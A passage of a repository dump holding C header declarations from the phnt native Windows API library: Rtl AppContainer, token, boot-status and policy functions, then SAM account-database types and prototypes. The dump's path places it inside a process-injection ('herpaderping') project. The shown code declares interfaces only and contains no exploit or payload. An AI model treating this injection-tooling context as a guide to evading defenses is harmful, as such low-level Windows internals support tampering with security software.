VOID\n );\n\n// private\nNTSYSAPI\nULONG\nNTAPI\nRtlGetActiveConsoleId(\n VOID\n );\n\n#if (PHNT_VERSION >= PHNT_REDSTONE)\n// private\nNTSYSAPI\nULONGLONG\nNTAPI\nRtlGetConsoleSessionForegroundProcessId(\n VOID\n );\n#endif\n\n// Appcontainer\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetTokenNamedObjectPath(\n _In_ HANDLE Token, \n _In_opt_ PSID Sid, \n _Out_ PUNICODE_STRING ObjectPath // RtlFreeUnicodeString\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetAppContainerNamedObjectPath(\n _In_opt_ HANDLE Token,\n _In_opt_ PSID AppContainerSid,\n _In_ BOOLEAN RelativePath,\n _Out_ PUNICODE_STRING ObjectPath // RtlFreeUnicodeString\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetAppContainerParent(\n _In_ PSID AppContainerSid, \n _Out_ PSID* AppContainerSidParent // RtlFreeSid\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCheckSandboxedToken(\n _In_opt_ HANDLE TokenHandle,\n _Out_ PBOOLEAN IsSandboxed\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCheckTokenCapability(\n _In_opt_ HANDLE TokenHandle,\n _In_ PSID CapabilitySidToCheck,\n _Out_ PBOOLEAN HasCapability\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCapabilityCheck(\n _In_opt_ HANDLE TokenHandle,\n _In_ PUNICODE_STRING CapabilityName,\n _Out_ PBOOLEAN HasCapability\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCheckTokenMembership(\n _In_opt_ HANDLE TokenHandle,\n _In_ PSID SidToCheck,\n _Out_ PBOOLEAN IsMember\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCheckTokenMembershipEx(\n _In_opt_ HANDLE TokenHandle,\n _In_ PSID SidToCheck,\n _In_ ULONG Flags, // CTMF_VALID_FLAGS\n _Out_ PBOOLEAN IsMember\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueryTokenHostIdAsUlong64(\n _In_ HANDLE TokenHandle,\n _Out_ PULONG64 HostId // (WIN://PKGHOSTID)\n );\n\n// rev\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsParentOfChildAppContainer(\n _In_ PSID ParentAppContainerSid,\n _In_ PSID ChildAppContainerSid\n );\n\n// rev\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsCapabilitySid(\n _In_ PSID Sid\n );\n\n// rev\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsPackageSid(\n _In_ PSID Sid\n );\n\n// rev\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsValidProcessTrustLabelSid(\n _In_ PSID Sid\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsStateSeparationEnabled(\n VOID\n );\n\ntypedef enum _APPCONTAINER_SID_TYPE\n{\n NotAppContainerSidType,\n ChildAppContainerSidType,\n ParentAppContainerSidType,\n InvalidAppContainerSidType,\n MaxAppContainerSidType\n} APPCONTAINER_SID_TYPE, *PAPPCONTAINER_SID_TYPE;\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetAppContainerSidType(\n _In_ PSID AppContainerSid,\n _Out_ PAPPCONTAINER_SID_TYPE AppContainerSidType\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlFlsAlloc(\n _In_ PFLS_CALLBACK_FUNCTION Callback,\n _Out_ PULONG FlsIndex\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlFlsFree(\n _In_ ULONG FlsIndex\n );\n\ntypedef enum _STATE_LOCATION_TYPE \n{\n LocationTypeRegistry,\n LocationTypeFileSystem,\n LocationTypeMaximum\n} STATE_LOCATION_TYPE;\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetPersistedStateLocation(\n _In_ PCWSTR SourceID,\n _In_opt_ PCWSTR CustomValue,\n _In_opt_ PCWSTR DefaultPath,\n _In_ STATE_LOCATION_TYPE StateLocationType,\n _Out_writes_bytes_to_opt_(BufferLengthIn, *BufferLengthOut) PWCHAR TargetPath,\n _In_ ULONG BufferLengthIn,\n _Out_opt_ PULONG BufferLengthOut\n );\n\n// msdn\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsCloudFilesPlaceholder(\n _In_ ULONG FileAttributes,\n _In_ ULONG ReparseTag\n );\n\n// msdn\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsPartialPlaceholder(\n _In_ ULONG FileAttributes,\n _In_ ULONG ReparseTag\n );\n\n// msdn\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlIsPartialPlaceholderFileHandle(\n _In_ HANDLE FileHandle,\n _Out_ PBOOLEAN IsPartialPlaceholder\n );\n\n// msdn\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlIsPartialPlaceholderFileInfo(\n _In_ PVOID InfoBuffer,\n _In_ FILE_INFORMATION_CLASS InfoClass,\n _Out_ PBOOLEAN IsPartialPlaceholder\n );\n\n// rev\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsNonEmptyDirectoryReparsePointAllowed(\n _In_ ULONG ReparseTag\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAppxIsFileOwnedByTrustedInstaller(\n _In_ HANDLE FileHandle, \n _Out_ PBOOLEAN IsFileOwnedByTrustedInstaller\n );\n\n// rev\ntypedef struct _PS_PKG_CLAIM\n{\n ULONGLONG Flags;\n ULONGLONG Origin;\n} PS_PKG_CLAIM, *PPS_PKG_CLAIM;\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueryPackageClaims(\n _In_ HANDLE TokenHandle,\n _Out_writes_bytes_to_opt_(*PackageSize, *PackageSize) PWSTR PackageFullName,\n _Inout_opt_ PSIZE_T PackageSize,\n _Out_writes_bytes_to_opt_(*AppIdSize, *AppIdSize) PWSTR AppId,\n _Inout_opt_ PSIZE_T AppIdSize,\n _Out_opt_ PGUID DynamicId,\n _Out_opt_ PPS_PKG_CLAIM PkgClaim,\n _Out_opt_ PULONG64 AttributesPresent\n );\n\n// Protected policies\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueryProtectedPolicy(\n _In_ PGUID PolicyGuid,\n _Out_ PULONG_PTR PolicyValue\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetProtectedPolicy(\n _In_ PGUID PolicyGuid,\n _In_ ULONG_PTR PolicyValue,\n _Out_ PULONG_PTR OldPolicyValue\n );\n\n#if (PHNT_VERSION >= PHNT_REDSTONE)\n// private\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsMultiSessionSku(\n VOID\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_REDSTONE)\n// private\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsMultiUsersInSessionSku(\n VOID\n );\n#endif\n\n// private\ntypedef enum _RTL_BSD_ITEM_TYPE\n{\n RtlBsdItemVersionNumber,\n RtlBsdItemProductType,\n RtlBsdItemAabEnabled,\n RtlBsdItemAabTimeout,\n RtlBsdItemBootGood,\n RtlBsdItemBootShutdown,\n RtlBsdSleepInProgress,\n RtlBsdPowerTransition,\n RtlBsdItemBootAttemptCount,\n RtlBsdItemBootCheckpoint,\n RtlBsdItemBootId,\n RtlBsdItemShutdownBootId,\n RtlBsdItemReportedAbnormalShutdownBootId,\n RtlBsdItemErrorInfo,\n RtlBsdItemPowerButtonPressInfo,\n RtlBsdItemChecksum,\n RtlBsdItemMax\n} RTL_BSD_ITEM_TYPE;\n\n// private\ntypedef struct _RTL_BSD_ITEM\n{\n RTL_BSD_ITEM_TYPE Type;\n PVOID DataBuffer;\n ULONG DataLength;\n} RTL_BSD_ITEM, *PRTL_BSD_ITEM;\n\n// ros\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateBootStatusDataFile(\n VOID\n );\n\n// ros\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlLockBootStatusData(\n _Out_ PHANDLE FileHandle\n );\n\n// ros\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUnlockBootStatusData(\n _In_ HANDLE FileHandle\n );\n\n// ros\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetSetBootStatusData(\n _In_ HANDLE FileHandle,\n _In_ BOOLEAN Read,\n _In_ RTL_BSD_ITEM_TYPE DataClass,\n _In_ PVOID Buffer,\n _In_ ULONG BufferSize,\n _Out_opt_ PULONG ReturnLength\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCheckBootStatusIntegrity(\n _In_ HANDLE FileHandle, \n _Out_ PBOOLEAN Verified\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCheckPortableOperatingSystem(\n _Out_ PBOOLEAN IsPortable // VOID\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetPortableOperatingSystem(\n _In_ BOOLEAN IsPortable\n );\n\n#if (PHNT_VERSION >= PHNT_THRESHOLD)\n\nNTSYSAPI\nOS_DEPLOYEMENT_STATE_VALUES\nNTAPI\nRtlOsDeploymentState(\n _Reserved_ _In_ ULONG Flags\n );\n\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlFindClosestEncodableLength(\n _In_ ULONGLONG SourceLength,\n _Out_ PULONGLONG TargetLength\n );\n\n#endif\n\n// Memory cache\n\ntypedef NTSTATUS (NTAPI *PRTL_SECURE_MEMORY_CACHE_CALLBACK)(\n _In_ PVOID Address,\n _In_ SIZE_T Length\n );\n\n// ros\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlRegisterSecureMemoryCacheCallback(\n _In_ PRTL_SECURE_MEMORY_CACHE_CALLBACK Callback\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDeregisterSecureMemoryCacheCallback(\n _In_ PRTL_SECURE_MEMORY_CACHE_CALLBACK Callback\n );\n\n// ros\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlFlushSecureMemoryCache(\n _In_ PVOID MemoryCache,\n _In_opt_ SIZE_T MemoryLength\n );\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntsam.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTSAM_H\n#define _NTSAM_H\n\n#define SAM_MAXIMUM_LOOKUP_COUNT (1000)\n#define SAM_MAXIMUM_LOOKUP_LENGTH (32000)\n#define SAM_MAX_PASSWORD_LENGTH (256)\n#define SAM_PASSWORD_ENCRYPTION_SALT_LEN (16)\n\ntypedef PVOID SAM_HANDLE, *PSAM_HANDLE;\ntypedef ULONG SAM_ENUMERATE_HANDLE, *PSAM_ENUMERATE_HANDLE;\n\ntypedef struct _SAM_RID_ENUMERATION\n{\n ULONG RelativeId;\n UNICODE_STRING Name;\n} SAM_RID_ENUMERATION, *PSAM_RID_ENUMERATION;\n\ntypedef struct _SAM_SID_ENUMERATION\n{\n PSID Sid;\n UNICODE_STRING Name;\n} SAM_SID_ENUMERATION, *PSAM_SID_ENUMERATION;\n\ntypedef struct _SAM_BYTE_ARRAY\n{\n ULONG Size;\n _Field_size_bytes_(Size) PUCHAR Data;\n} SAM_BYTE_ARRAY, *PSAM_BYTE_ARRAY;\n\ntypedef struct _SAM_BYTE_ARRAY_32K\n{\n ULONG Size;\n _Field_size_bytes_(Size) PUCHAR Data;\n} SAM_BYTE_ARRAY_32K, *PSAM_BYTE_ARRAY_32K;\n\ntypedef SAM_BYTE_ARRAY_32K SAM_SHELL_OBJECT_PROPERTIES, *PSAM_SHELL_OBJECT_PROPERTIES;\n\n// Basic\n\nNTSTATUS\nNTAPI\nSamFreeMemory(\n _In_ PVOID Buffer\n );\n\nNTSTATUS\nNTAPI\nSamCloseHandle(\n _In_ SAM_HANDLE SamHandle\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamSetSecurityObject(\n _In_ SAM_HANDLE ObjectHandle,\n _In_ SECURITY_INFORMATION SecurityInformation,\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamQuerySecurityObject(\n _In_ SAM_HANDLE ObjectHandle,\n _In_ SECURITY_INFORMATION SecurityInformation,\n _Outptr_ PSECURITY_DESCRIPTOR *SecurityDescriptor\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamRidToSid(\n _In_ SAM_HANDLE ObjectHandle,\n _In_ ULONG Rid,\n _Outptr_ PSID *Sid\n );\n\n// Server\n\n#define SAM_SERVER_CONNECT 0x0001\n#define SAM_SERVER_SHUTDOWN 0x0002\n#define SAM_SERVER_INITIALIZE 0x0004\n#define SAM_SERVER_CREATE_DOMAIN 0x0008\n#define SAM_SERVER_ENUMERATE_DOMAINS 0x0010\n#define SAM_SERVER_LOOKUP_DOMAIN 0x0020\n\n#define SAM_SERVER_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | \\\n SAM_SERVER_CONNECT | \\\n SAM_SERVER_INITIALIZE | \\\n SAM_SERVER_CREATE_DOMAIN | \\\n SAM_SERVER_SHUTDOWN | \\\n SAM_SERVER_ENUMERATE_DOMAINS | \\\n SAM_SERVER_LOOKUP_DOMAIN)\n\n#define SAM_SERVER_READ (STANDARD_RIGHTS_READ | \\\n SAM_SERVER_ENUMERATE_DOMAINS)\n\n#define SAM_SERVER_WRITE (STANDARD_RIGHTS_WRITE | \\\n SAM_SERVER_INITIALIZE | \\\n SAM_SERVER_CREATE_DOMAIN | \\\n SAM_SERVER_SHUTDOWN)\n\n#define SAM_SERVER_EXECUTE (STANDARD_RIGHTS_EXECUTE | \\\n SAM_SERVER_CONNECT | \\\n SAM_SERVER_LOOKUP_DOMAIN)\n\n// Functions\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamConnect(\n _In_opt_ PUNICODE_STRING ServerName,\n _Out_ PSAM_HANDLE ServerHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamShutdownSamServer(\n _In_ SAM_HANDLE ServerHandle\n );\n\n// Domain\n\n#define DOMAIN_READ_PASSWORD_PARAMETERS 0x0001\n#define DOMAIN_WRITE_PASSWORD_PARAMS 0x0002\n#define DOMAIN_READ_OTHER_PARAMETERS 0x0004\n#define DOMAIN_WRITE_OTHER_PARAMETERS 0x0008\n#define DOMAIN_CREATE_USER 0x0010\n#define DOMAIN_CREATE_GROUP 0x0020\n#define DOMAIN_CREATE_ALIAS 0x0040\n#define DOMAIN_GET_ALIAS_MEMBERSHIP 0x0080\n#define DOMAIN_LIST_ACCOUNTS 0x0100\n#define DOMAIN_LOOKUP 0x0200\n#define DOMAIN_ADMINISTER_SERVER 0x0400\n\n#define DOMAIN_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | \\\n DOMAIN_READ_OTHER_PARAMETERS | \\\n DOMAIN_WRITE_OTHER_PARAMETERS | \\\n DOMAIN_WRITE_PASSWORD_PARAMS | \\\n DOMAIN_CREATE_USER | \\\n DOMAIN_CREATE_GROUP | \\\n DOMAIN_CREATE_ALIAS | \\\n DOMAIN_GET_ALIAS_MEMBERSHIP | \\\n DOMAIN_LIST_ACCOUNTS | \\\n DOMAIN_READ_PASSWORD_PARAMETERS | \\\n DOMAIN_LOOKUP | \\\n DOMAIN_ADMINISTER_SERVER)\n\n#define DOMAIN_READ (STANDARD_RIGHTS_READ | \\\n DOMAIN_GET_ALIAS_MEMBERSHIP | \\\n DOMAIN_READ_OTHER_PARAMETERS)\n\n#define DOMAIN_WRITE (STANDARD_RIGHTS_WRITE | \\\n DOMAIN_WRITE_OTHER_PARAMETERS | \\\n DOMAIN_WRITE_PASSWORD_PARAMS | \\\n DOMAIN_CREATE_USER | \\\n DOMAIN_CREATE_GROUP | \\\n DOMAIN_CREATE_ALIAS | \\\n DOMAIN_ADMINISTER_SERVER)\n\n#define DOMAIN_EXECUTE (STANDARD_RIGHTS_EXECUTE | \\\n DOMAIN_READ_PASSWORD_PARAMETERS | \\\n DOMAIN_LIST_ACCOUNTS | \\\n DOMAIN_LOOKUP)\n\n#define DOMAIN_PROMOTION_INCREMENT { 0x0, 0x10 }\n#define DOMAIN_PROMOTION_MASK { 0x0, 0xfffffff0 }\n\n// SamQueryInformationDomain/SamSetInformationDomain types\n\ntypedef enum _DOMAIN_INFORMATION_CLASS\n{\n DomainPasswordInformation = 1,\n DomainGeneralInformation,\n DomainLogoffInformation,\n DomainOemInformation,\n DomainNameInformation,\n DomainReplicationInformation,\n DomainServerRoleInformation,\n DomainModifiedInformation,\n DomainStateInformation,\n DomainUasInformation,\n DomainGeneralInformation2,\n DomainLockoutInformation,\n DomainModifiedInformation2\n} DOMAIN_INFORMATION_CLASS;\n\ntypedef enum _DOMAIN_SERVER_ENABLE_STATE\n{\n DomainServerEnabled = 1,\n DomainServerDisabled\n} DOMAIN_SERVER_ENABLE_STATE, *PDOMAIN_SERVER_ENABLE_STATE;\n\ntypedef enum _DOMAIN_SERVER_ROLE\n{\n DomainServerRoleBackup = 2,\n DomainServerRolePrimary\n} DOMAIN_SERVER_ROLE, *PDOMAIN_SERVER_ROLE;\n\n#include \ntypedef struct _DOMAIN_GENERAL_INFORMATION\n{\n LARGE_INTEGER ForceLogoff;\n UNICODE_STRING OemInformation;\n UNICODE_STRING DomainName;\n UNICODE_STRING ReplicaSourceNodeName;\n LARGE_INTEGER DomainModifiedCount;\n DOMAIN_SERVER_ENABLE_STATE DomainServerState;\n DOMAIN_SERVER_ROLE DomainServerRole;\n BOOLEAN UasCompatibilityRequired;\n ULONG UserCount;\n ULONG GroupCount;\n ULONG AliasCount;\n} DOMAIN_GENERAL_INFORMATION, *PDOMAIN_GENERAL_INFORMATION;\n#include \n\n#include \ntypedef struct _DOMAIN_GENERAL_INFORMATION2\n{\n DOMAIN_GENERAL_INFORMATION I1;\n LARGE_INTEGER LockoutDuration; // delta time\n LARGE_INTEGER LockoutObservationWindow; // delta time\n USHORT LockoutThreshold;\n} DOMAIN_GENERAL_INFORMATION2, *PDOMAIN_GENERAL_INFORMATION2;\n#include \n\ntypedef struct _DOMAIN_UAS_INFORMATION\n{\n BOOLEAN UasCompatibilityRequired;\n} DOMAIN_UAS_INFORMATION;\n\n#ifndef _DOMAIN_PASSWORD_INFORMATION_DEFINED // defined in ntsecapi.h\n#define _DOMAIN_PASSWORD_INFORMATION_DEFINED\n\ntypedef struct _DOMAIN_PASSWORD_INFORMATION\n{\n USHORT MinPasswordLength;\n USHORT PasswordHistoryLength;\n ULONG PasswordProperties;\n LARGE_INTEGER MaxPasswordAge;\n LARGE_INTEGER MinPasswordAge;\n} DOMAIN_PASSWORD_INFORMATION, *PDOMAIN_PASSWORD_INFORMATION;\n\n// PasswordProperties flags\n\n#define DOMAIN_PASSWORD_COMPLEX 0x00000001L\n#define DOMAIN_PASSWORD_NO_ANON_CHANGE 0x00000002L\n#define DOMAIN_PASSWORD_NO_CLEAR_CHANGE 0x00000004L\n#define DOMAIN_LOCKOUT_ADMINS 0x00000008L\n#define DOMAIN_PASSWORD_STORE_CLEARTEXT 0x00000010L\n#define DOMAIN_REFUSE_PASSWORD_CHANGE 0x00000020L\n#define DOMAIN_NO_LM_OWF_CHANGE 0x00000040L\n\n#endif\n\ntypedef enum _DOMAIN_PASSWORD_CONSTRUCTION\n{\n DomainPasswordSimple = 1,\n DomainPasswordComplex\n} DOMAIN_PASSWORD_CONSTRUCTION;\n\ntypedef struct _DOMAIN_LOGOFF_INFORMATION\n{\n LARGE_INTEGER ForceLogoff;\n} DOMAIN_LOGOFF_INFORMATION, *PDOMAIN_LOGOFF_INFORMATION;\n\ntypedef struct _DOMAIN_OEM_INFORMATION\n{\n UNICODE_STRING OemInformation;\n} DOMAIN_OEM_INFORMATION, *PDOMAIN_OEM_INFORMATION;\n\ntypedef struct _DOMAIN_NAME_INFORMATION\n{\n UNICODE_STRING DomainName;\n} DOMAIN_NAME_INFORMATION, *PDOMAIN_NAME_INFORMATION;\n\ntypedef struct _DOMAIN_SERVER_ROLE_INFORMATION\n{\n DOMAIN_SERVER_ROLE DomainServerRole;\n} DOMAIN_SERVER_ROLE_INFORMATION, *PDOMAIN_SERVER_ROLE_INFORMATION;\n\ntypedef struct _DOMAIN_REPLICATION_INFORMATION\n{\n UNICODE_STRING ReplicaSourceNodeName;\n} DOMAIN_REPLICATION_INFORMATION, *PDOMAIN_REPLICATION_INFORMATION;\n\ntypedef struct _DOMAIN_MODIFIED_INFORMATION\n{\n LARGE_INTEGER DomainModifiedCount;\n LARGE_INTEGER CreationTime;\n} DOMAIN_MODIFIED_INFORMATION, *PDOMAIN_MODIFIED_INFORMATION;\n\ntypedef struct _DOMAIN_MODIFIED_INFORMATION2\n{\n LARGE_INTEGER DomainModifiedCount;\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER ModifiedCountAtLastPromotion;\n} DOMAIN_MODIFIED_INFORMATION2, *PDOMAIN_MODIFIED_INFORMATION2;\n\ntypedef struct _DOMAIN_STATE_INFORMATION\n{\n DOMAIN_SERVER_ENABLE_STATE DomainServerState;\n} DOMAIN_STATE_INFORMATION, *PDOMAIN_STATE_INFORMATION;\n\ntypedef struct _DOMAIN_LOCKOUT_INFORMATION\n{\n LARGE_INTEGER LockoutDuration; // delta time\n LARGE_INTEGER LockoutObservationWindow; // delta time\n USHORT LockoutThreshold; // zero means no lockout\n} DOMAIN_LOCKOUT_INFORMATION, *PDOMAIN_LOCKOUT_INFORMATION;\n\n// SamQueryDisplayInformation types\n\ntypedef enum _DOMAIN_DISPLAY_INFORMATION\n{\n DomainDisplayUser = 1,\n DomainDisplayMachine,\n DomainDisplayGroup,\n DomainDisplayOemUser,\n DomainDisplayOemGroup,\n DomainDisplayServer\n} DOMAIN_DISPLAY_INFORMATION, *PDOMAIN_DISPLAY_INFORMATION;\n\ntypedef struct _DOMAIN_DISPLAY_USER\n{\n ULONG Index;\n ULONG Rid;\n ULONG AccountControl;\n UNICODE_STRING LogonName;\n UNICODE_STRING AdminComment;\n UNICODE_STRING FullName;\n} DOMAIN_DISPLAY_USER, *PDOMAIN_DISPLAY_USER;\n\ntypedef struct _DOMAIN_DISPLAY_MACHINE\n{\n ULONG Index;\n ULONG Rid;\n ULONG AccountControl;\n UNICODE_STRING Machine;\n UNICODE_STRING Comment;\n} DOMAIN_DISPLAY_MACHINE, *PDOMAIN_DISPLAY_MACHINE;\n\ntypedef struct _DOMAIN_DISPLAY_GROUP\n{\n ULONG Index;\n ULONG Rid;\n ULONG Attributes;\n UNICODE_STRING Group;\n UNICODE_STRING Comment;\n} DOMAIN_DISPLAY_GROUP, *PDOMAIN_DISPLAY_GROUP;\n\ntypedef struct _DOMAIN_DISPLAY_OEM_USER\n{\n ULONG Index;\n OEM_STRING User;\n} DOMAIN_DISPLAY_OEM_USER, *PDOMAIN_DISPLAY_OEM_USER;\n\ntypedef struct _DOMAIN_DISPLAY_OEM_GROUP\n{\n ULONG Index;\n OEM_STRING Group;\n} DOMAIN_DISPLAY_OEM_GROUP, *PDOMAIN_DISPLAY_OEM_GROUP;\n\n// SamQueryLocalizableAccountsInDomain types\n\ntypedef enum _DOMAIN_LOCALIZABLE_ACCOUNTS_INFORMATION\n{\n DomainLocalizableAccountsBasic = 1,\n} DOMAIN_LOCALIZABLE_ACCOUNTS_INFORMATION, *PDOMAIN_LOCALIZABLE_ACCOUNTS_INFORMATION;\n\ntypedef struct _DOMAIN_LOCALIZABLE_ACCOUNTS_ENTRY\n{\n ULONG Rid;\n SID_NAME_USE Use;\n UNICODE_STRING Name;\n UNICODE_STRING AdminComment;\n} DOMAIN_LOCALIZABLE_ACCOUNT_ENTRY, *PDOMAIN_LOCALIZABLE_ACCOUNT_ENTRY;\n\ntypedef struct _DOMAIN_LOCALIZABLE_ACCOUNTS\n{\n ULONG Count;\n _Field_size_(Count) DOMAIN_LOCALIZABLE_ACCOUNT_ENTRY *Entries;\n} DOMAIN_LOCALIZABLE_ACCOUNTS_BASIC, *PDOMAIN_LOCALIZABLE_ACCOUNTS_BASIC;\n\ntypedef union _DOMAIN_LOCALIZABLE_INFO_BUFFER\n{\n DOMAIN_LOCALIZABLE_ACCOUNTS_BASIC Basic;\n} DOMAIN_LOCALIZABLE_ACCOUNTS_INFO_BUFFER, *PDOMAIN_LOCALIZABLE_ACCOUNTS_INFO_BUFFER;\n\n// Functions\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamLookupDomainInSamServer(\n _In_ SAM_HANDLE ServerHandle,\n _In_ PUNICODE_STRING Name,\n _Outptr_ PSID *DomainId\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamEnumerateDomainsInSamServer(\n _In_ SAM_HANDLE ServerHandle,\n _Inout_ PSAM_ENUMERATE_HANDLE EnumerationContext,\n _Outptr_ PVOID *Buffer, // PSAM_SID_ENUMERATION *Buffer\n _In_ ULONG PreferedMaximumLength,\n _Out_ PULONG CountReturned\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamOpenDomain(\n _In_ SAM_HANDLE ServerHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ PSID DomainId,\n _Out_ PSAM_HANDLE DomainHandle\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamQueryInformationDomain(\n _In_ SAM_HANDLE DomainHandle,\n _In_ DOMAIN_INFORMATION_CLASS DomainInformationClass,\n _Outptr_ PVOID *Buffer\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamSetInformationDomain(\n _In_ SAM_HANDLE DomainHandle,\n _In_ DOMAIN_INFORMATION_CLASS DomainInformationClass,\n _In_ PVOID DomainInformation\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamLookupNamesInDomain(\n _In_ SAM_HANDLE DomainHandle,\n _In_ ULONG Count,\n _In_reads_(Count) PUNICODE_STRING Names,\n _Out_ _Deref_post_count_(Count) PULONG *RelativeIds,\n _Out_ _Deref_post_count_(Count) PSID_NAME_USE *Use\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamLookupIdsInDomain(\n _In_ SAM_HANDLE DomainHandle,\n _In_ ULONG Count,\n _In_reads_(Count) PULONG RelativeIds,\n _Out_ _Deref_post_count_(Count) PUNICODE_STRING *Names,\n _Out_ _Deref_post_opt_count_(Count) PSID_NAME_USE *Use\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamRemoveMemberFromForeignDomain(\n _In_ SAM_HANDLE DomainHandle,\n _In_ PSID MemberId\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamQueryLocalizableAccountsInDomain(\n _In_ SAM_HANDLE Domain,\n _In_ ULONG Flags,\n _In_ ULONG LanguageId,\n _In_ DOMAIN_LOCALIZABLE_ACCOUNTS_INFORMATION Class,\n _Outptr_ PVOID *Buffer\n );\n\n// Group\n\n#define GROUP_READ_INFORMATION 0x0001\n#define GROUP_WRITE_ACCOUNT 0x0002\n#define GROUP_ADD_MEMBER 0x0004\n#define GROUP_REMOVE_MEMBER 0x0008\n#define GROUP_LIST_MEMBERS 0x0010\n\n#define GROUP_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | \\\n GROUP_LIST_MEMBERS | \\\n GROUP_WRITE_ACCOUNT | \\\n GROUP_ADD_MEMBER | \\\n GROUP_REMOVE_MEMBER | \\\n GROUP_READ_INFORMATION)\n\n#define GROUP_READ (STANDARD_RIGHTS_READ | \\\n GROUP_LIST_MEMBERS)\n\n#define GROUP_WRITE (STANDARD_RIGHTS_WRITE | \\\n GROUP_WRITE_ACCOUNT | \\\n GROUP_ADD_MEMBER | \\\n GROUP_REMOVE_MEMBER)\n\n#define GROUP_EXECUTE (STANDARD_RIGHTS_EXECUTE | \\\n GROUP_READ_INFORMATION)\n\ntypedef struct _GROUP_MEMBERSHIP\n{\n ULONG RelativeId;\n ULONG Attributes;\n} GROUP_MEMBERSHIP, *PGROUP_MEMBERSHIP;\n\n// SamQueryInformationGroup/SamSetInformationGroup types\n\ntypedef enum _GROUP_INFORMATION_CLASS\n{\n GroupGeneralInformation = 1,\n GroupNameInformation,\n GroupAttributeInformation,\n GroupAdminCommentInformation,\n GroupReplicationInformation\n} GROUP_INFORMATION_CLASS;\n\ntypedef struct _GROUP_GENERAL_INFORMATION\n{\n UNICODE_STRING Name;\n ULONG Attributes;\n ULONG MemberCount;\n UNICODE_STRING AdminComment;\n} GROUP_GENERAL_INFORMATION, *PGROUP_GENERAL_INFORMATION;\n\ntypedef struct _GROUP_NAME_INFORMATION\n{\n UNICODE_STRING Name;\n} GROUP_NAME_INFORMATION, *PGROUP_NAME_INFORMATION;\n\ntypedef struct _GROUP_ATTRIBUTE_INFORMATION\n{\n ULONG Attributes;\n} GROUP_ATTRIBUTE_INFORMATION, *PGROUP_ATTRIBUTE_INFORMATION;\n\ntypedef struct _GROUP_ADM_COMMENT_INFORMATION\n{\n UNICODE_STRING AdminComment;\n} GROUP_ADM_COMMENT_INFORMATION, *PGROUP_ADM_COMMENT_INFORMATION;\n\n// 